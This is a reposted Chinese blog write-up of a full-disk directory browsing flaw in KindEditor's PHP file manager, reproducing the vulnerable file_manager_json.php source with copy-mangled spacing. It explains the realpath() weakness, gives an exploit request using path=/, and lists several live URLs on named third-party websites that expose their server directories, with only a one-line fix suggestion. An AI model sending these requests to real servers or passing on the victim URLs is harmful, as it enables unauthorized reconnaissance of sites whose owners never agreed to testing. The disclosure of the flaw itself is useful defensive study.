也想出现在这里? 联系我们

Kindeditor特定情况可能会导致全盘浏览的漏洞

作者 : 小编 本文共4170个字,预计阅读时间需要11分钟 发布时间: 2021-06-20 共2.22K人阅读
也想出现在这里? 联系我们

因为例子很少,开始想了下不是他们的漏洞,后面想了下,后面没有检查好用户的正常配置内容导致,还是提下吧。 下载地址: 貌似是最新版本的。 测试语言:PHP 测试漏洞文件:/kindeditor/php/file_manager_json.php 默认配置(第16行): $root_path = $php_path . \’../attached/\’; 当/attached/文件夹不存在(被删)或者被改名为一个不存在的目录时,如网上的一个例子: $root_path = $php_path . \’../../../upload/\’; 这个CMS下面的目录根本就没得这个目录,所以就造成了漏洞。 怎么造成了漏洞的呢?我们分析下。

PHP Code复制内容到剪贴板
  1. <?php
  2. /**
  3. *KindEditorPHP
  4. *
  5. *本PHP程序是演示程序,建议不要直接在实际项目中使用。
  6. *如果您确定直接使用本程序,使用之前请仔细确认相关安全设置。
  7. *
  8. */
  9. require_once\’JSON.php\’;
  10. $php_path=dirname(__FILE__).\’/\’;
  11. $php_url=dirname($_SERVER[\’PHP_SELF\’]).\’/\’;
  12. //根目录路径,可以指定绝对路径,比如/var/www/attached/
  13. $root_path=$php_path.\’../../../upload/\’;
  14. //根目录URL,可以指定绝对路径,比如http://www.yoursite.com/attached/
  15. $root_url=$php_url.\’../../../upload/\’;
  16. //图片扩展名
  17. $ext_arr=array(\’gif\’,\’jpg\’,\’jpeg\’,\’png\’,\’bmp\’);
  18. //目录名
  19. $dir_name=emptyempty($_GET[\’dir\’])?\’\’:trim($_GET[\’dir\’]);
  20. if(!in_array($dir_name,array(\’\’,\’image\’,\’flash\’,\’media\’,\’file\’))){
  21. echo"InvalidDirectoryname.";
  22. exit;
  23. }
  24. if($dir_name!==\’\’){
  25. $root_path.=$dir_name."/";
  26. $root_url.=$dir_name."/";
  27. if(!file_exists($root_path)){
  28. mkdir($root_path);
  29. }
  30. }
  31. //根据path参数,设置各路径和URL
  32. if(emptyempty($_GET[\’path\’])){
  33. $current_path=realpath($root_path).\’/\’;
  34. $current_url=$root_url;
  35. $current_dir_path=\’\’;
  36. $moveup_dir_path=\’\’;
  37. }else{
  38. $current_path=realpath($root_path).\’/\’.$_GET[\’path\’];
  39. $current_url=$root_url.$_GET[\’path\’];
  40. $current_dir_path=$_GET[\’path\’];
  41. $moveup_dir_path=preg_replace(\’/(.*?)[^\\/]+\\/$/\’,\’$1\’,$current_dir_path);
  42. }
  43. //echorealpath($root_path);
  44. //排序形式,nameorsizeortype
  45. $order=emptyempty($_GET[\’order\’])?\’name\’:strtolower($_GET[\’order\’]);
  46. //不允许使用..移动到上一级目录
  47. if(preg_match(\’/\\.\\./\’,$current_path)){
  48. echo\’Accessisnotallowed.\’;
  49. exit;
  50. }
  51. //最后一个字符不是/
  52. if(!preg_match(\’/\\/$/\’,$current_path)){
  53. echo\’Parameterisnotvalid.\’;
  54. exit;
  55. }
  56. //目录不存在或不是目录
  57. if(!file_exists($current_path)||!is_dir($current_path)){
  58. echo\’Directorydoesnotexist.\’;
  59. exit;
  60. }
  61. //遍历目录取得文件信息
  62. $file_list=array();
  63. if($handle=opendir($current_path)){
  64. $i=0;
  65. while(false!==($filename=readdir($handle))){
  66. if($filename{0}==\’.\’)continue;
  67. $file=$current_path.$filename;
  68. if(is_dir($file)){
  69. $file_list[$i][\’is_dir\’]=true;//是否文件夹
  70. $file_list[$i][\’has_file\’]=(count(scandir($file))>2);//文件夹是否包含文件
  71. $file_list[$i][\’filesize\’]=0;//文件大小
  72. $file_list[$i][\’is_photo\’]=false;//是否图片
  73. $file_list[$i][\’filetype\’]=\’\’;//文件类别,用扩展名判断
  74. }else{
  75. $file_list[$i][\’is_dir\’]=false;
  76. $file_list[$i][\’has_file\’]=false;
  77. $file_list[$i][\’filesize\’]=filesize($file);
  78. $file_list[$i][\’dir_path\’]=\’\’;
  79. $file_ext=strtolower(pathinfo($file,PATHINFO_EXTENSION));
  80. $file_list[$i][\’is_photo\’]=in_array($file_ext,$ext_arr);
  81. $file_list[$i][\’filetype\’]=$file_ext;
  82. }
  83. $file_list[$i][\’filename\’]=$filename;//文件名,包含扩展名
  84. $file_list[$i][\’datetime\’]=date(\’Y-m-dH:i:s\’,filemtime($file));//文件最后修改时间
  85. $i++;
  86. }
  87. closedir($handle);
  88. }
  89. //排序
  90. functioncmp_func($a,$b){
  91. global$order;
  92. if($a[\’is_dir\’]&&!$b[\’is_dir\’]){
  93. return-1;
  94. }elseif(!$a[\’is_dir\’]&&$b[\’is_dir\’]){
  95. return1;
  96. }else{
  97. if($order==\’size\’){
  98. if($a[\’filesize\’]>$b[\’filesize\’]){
  99. return1;
  100. }elseif($a[\’filesize\’]<$b[\’filesize\’]){
  101. return-1;
  102. }else{
  103. return0;
  104. }
  105. }elseif($order==\’type\’){
  106. returnstrcmp($a[\’filetype\’],$b[\’filetype\’]);
  107. }else{
  108. returnstrcmp($a[\’filename\’],$b[\’filename\’]);
  109. }
  110. }
  111. }
  112. usort($file_list,\’cmp_func\’);
  113. $result=array();
  114. //相对于根目录的上一级目录
  115. $result[\’moveup_dir_path\’]=$moveup_dir_path;
  116. //相对于根目录的当前目录
  117. $result[\’current_dir_path\’]=$current_dir_path;
  118. //当前目录的URL
  119. $result[\’current_url\’]=$current_url;
  120. //文件数
  121. $result[\’total_count\’]=count($file_list);
  122. //文件列表数组
  123. $result[\’file_list\’]=$file_list;
  124. //输出JSON字符串
  125. header(\’Content-type:application/json;charset=UTF-8\’);
  126. $json=newServices_JSON();
  127. echo$json->encode($result);

第三十八行: $current_path = realpath($root_path) . \’/\’; 当$root_path被realpath以后,不存在的目录会返回空,然后连接后面的\’/\’ $current_path所以默认就等于\’/\’ 当提交了$_GET[\’path\’]以后,而且$_GET[\’path\’]要以\’/\’为结尾(有验证),所以,我们就可以构造浏览全盘目录了。 kingedit/php/file_manager_json.php?path=/ (浏览盘符的根目录) 接着上面给出验证的(互联网找到几个): 先给本地的(attached文件夹被我删了):互联网找到的: http://demo.douco.com/admin/include/kindeditor/php/file_manager_json.php?path=home/demodoucokdce4mmohd8okuoc1o/wwwroot/&dir=imagehttp://route53.com.tw/static/jscripts/kindeditor/php/file_manager_json.php?path=home/onepage/public_html/ http://www.bndvalve.com/Public/kindeditor/php/file_manager_json.php?path=wwwroot/bonade/

修复方案:再验证下绝对路径?

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » Kindeditor特定情况可能会导致全盘浏览的漏洞

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
织梦模板使用说明
你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录